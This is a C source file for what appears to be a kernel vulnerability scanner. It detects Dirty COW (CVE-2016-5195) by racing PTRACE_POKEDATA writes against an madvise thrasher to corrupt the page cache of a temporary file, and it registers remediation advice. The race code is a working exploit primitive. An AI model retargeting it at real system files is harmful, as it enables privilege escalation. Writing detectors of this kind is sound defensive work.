cve-2016-5195-pokedata.c (6235B)
1 /* 2 * CVE-2016-5195 — Dirty COW (PTRACE_POKEDATA variant) 3 * 4 * The kernel's get_user_pages() in a copy-on-write race allows an 5 * unprivileged user to write to read-only memory mappings that are backed 6 * by a file. This detector uses the PTRACE_POKEDATA variant. 7 * 8 * Architecture (follows upstream pokemon.c): 9 * - Parent creates a temp file (100 bytes of known data) and a pipe. 10 * - Child maps the file MAP_PRIVATE|PROT_READ, starts a madvise-thrasher 11 * thread, then ptrace-traces-me and SIGSTOPs itself. 12 * - Parent reads the child's mmap address from the pipe, waits for the 13 * child to stop, then writes into the child's COW page via 14 * PTRACE_POKEDATA in a tight loop (matching upstream's 10K*10K retries). 15 * - Child checks whether the FILE'S page cache was corrupted by reading 16 * via pread (bypasses the COW mapping). 17 * 18 * Safe testing: creates a temporary file, attempts the COW page-cache 19 * corruption, verifies the byte was overwritten in the cache, then 20 * removes the temp file — leaving no system state modified. 21 * 22 * References: 23 * https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs 24 * https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c 25 */ 26 #define _GNU_SOURCE 27 #include <errno.h> 28 #include <fcntl.h> 29 #include <pthread.h> 30 #include <signal.h> 31 #include <stdint.h> 32 #include <stdio.h> 33 #include <stdlib.h> 34 #include <string.h> 35 #include <sys/mman.h> 36 #include <sys/ptrace.h> 37 #include <sys/stat.h> 38 #include <sys/types.h> 39 #include <sys/wait.h> 40 #include <unistd.h> 41 42 #include "setup.h" 43 44 /* Region size matching upstream's madvise(map, 100, ...) */ 45 #define MAP_SIZE 100 46 #define MAGIC_ORIG 'X' 47 #define MAGIC_COW 'Y' 48 #define MAX_POKES 10000 49 50 static volatile int g_thr_running = 1; 51 52 static void *madvise_thread(void *arg) { 53 char *map = (char *)arg; 54 while (g_thr_running) { 55 madvise(map, MAP_SIZE, MADV_DONTNEED); 56 __asm__ volatile("" ::: "memory"); 57 (void)*map; /* force page fault */ 58 } 59 return NULL; 60 } 61 62 int detector_cve_2016_5195_pokedata(struct cve_context *ctx) { 63 int fd = -1; 64 int result = 0; 65 int pipefd[2]; 66 67 /* 1. Create temp file with known bytes */ 68 char path[] = "/tmp/.cve_2016_5195_pd_XXXXXX"; 69 fd = mkstemp(path); 70 if (fd < 0) { 71 if (ctx && ctx->verbose) fprintf(stderr, "[dirtycow-pokedata] mkstemp: %s\n", strerror(errno)); 72 return 0; 73 } 74 unlink(path); /* fd keeps it alive */ 75 76 char buf[MAP_SIZE]; 77 memset(buf, MAGIC_ORIG, sizeof(buf)); 78 if (write(fd, buf, sizeof(buf)) != sizeof(buf)) { 79 close(fd); 80 return 0; 81 } 82 fsync(fd); 83 84 /* 2. Pipe for child→parent address communication */ 85 if (pipe(pipefd) < 0) { 86 close(fd); 87 return 0; 88 } 89 90 /* 3. Fork */ 91 pid_t child = fork(); 92 if (child < 0) { 93 close(fd); 94 close(pipefd[0]); 95 close(pipefd[1]); 96 return 0; 97 } 98 99 if (child == 0) { 100 /* ---- CHILD ---- */ 101 close(pipefd[0]); 102 103 char *map = mmap(NULL, MAP_SIZE, PROT_READ, MAP_PRIVATE, fd, 0); 104 if (map == MAP_FAILED) _exit(5); 105 106 /* Verify original content */ 107 for (int i = 0; i < MAP_SIZE; i++) 108 if (map[i] != MAGIC_ORIG) { 109 munmap(map, MAP_SIZE); 110 _exit(6); 111 } 112 113 /* Report mapping address to parent */ 114 uintptr_t addr = (uintptr_t)map; 115 if (write(pipefd[1], &addr, sizeof(addr)) != (ssize_t)sizeof(addr)) _exit(7); 116 close(pipefd[1]); 117 118 /* Start madvise thrasher (runs until parent finishes poking) */ 119 pthread_t thr; 120 g_thr_running = 1; 121 if (pthread_create(&thr, NULL, madvise_thread, map) != 0) _exit(8); 122 123 /* 124 * Request tracing + SIGSTOP so parent can attach and write. 125 * Matches upstream pokemon.c: PTRACE_TRACEME + SIGSTOP. 126 */ 127 ptrace(PTRACE_TRACEME); 128 kill(getpid(), SIGSTOP); 129 130 /* After parent detaches, poll page cache via pread */ 131 int hit = 0; 132 for (int i = 0; i < MAX_POKES && !hit; i++) { 133 char c; 134 if (pread(fd, &c, 1, 0) == 1 && c == MAGIC_COW) 135 hit = 1; 136 else 137 usleep(1000); 138 } 139 140 g_thr_running = 0; 141 pthread_join(thr, NULL); 142 munmap(map, MAP_SIZE); 143 close(fd); 144 _exit(hit ? 0 : 3); 145 } 146 147 /* ---- PARENT ---- */ 148 close(pipefd[1]); 149 close(fd); /* child has its own copy */ 150 151 /* Read child's mmap address */ 152 uintptr_t child_addr = 0; 153 ssize_t n = read(pipefd[0], &child_addr, sizeof(child_addr)); 154 close(pipefd[0]); 155 if (n != (ssize_t)sizeof(child_addr)) { 156 kill(child, SIGKILL); 157 waitpid(child, NULL, 0); 158 return 0; 159 } 160 161 /* Wait for child's SIGSTOP (from PTRACE_TRACEME path) */ 162 int status; 163 waitpid(child, &status, 0); 164 if (!WIFSTOPPED(status)) { 165 kill(child, SIGKILL); 166 waitpid(child, NULL, 0); 167 return 0; 168 } 169 170 /* 171 * Poke the child's COW mapping in a tight loop. 172 * Upstream pokemon.c does 10K * 10K = 100M iterations; 173 * we use 10K which is enough to win the race on a 174 * vulnerable kernel while keeping the detector fast. 175 */ 176 for (int i = 0; i < MAX_POKES; i++) { 177 long val = ptrace(PTRACE_PEEKDATA, child, (void *)child_addr, NULL); 178 long newval = (val & ~0xFFUL) | (unsigned char)MAGIC_COW; 179 ptrace(PTRACE_POKEDATA, child, (void *)child_addr, (void *)newval); 180 } 181 182 /* Detach so child resumes */ 183 ptrace(PTRACE_DETACH, child, NULL, NULL); 184 185 /* Wait for child to finish its pread poll */ 186 int cstatus; 187 waitpid(child, &cstatus, 0); 188 189 if (WIFEXITED(cstatus) && WEXITSTATUS(cstatus) == 0) { 190 if (ctx && ctx->verbose) 191 fprintf(stderr, 192 "[dirtycow-pokedata] VULNERABLE: page cache " 193 "corrupted via PTRACE_POKEDATA\n"); 194 result = 1; 195 } 196 197 return result; 198 } 199 200 __attribute__((constructor)) void detector_cve_2016_5195_pokedata_setup(void) { 201 detector_queue_append("CVE-2016-5195/pokedata", "dirtycow", 202 "Update the Linux kernel to >= 4.8.3 / 4.7.9 / 4.4.26 or later.\n" 203 " The fix is commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619.\n" 204 " As a temporary mitigation, ensure kernel.yama.ptrace_scope >= 1\n" 205 " (blocks unprivileged ptrace of unrelated processes), though this\n" 206 " does not fully mitigate all Dirty COW variants.", 207 detector_cve_2016_5195_pokedata); 208 }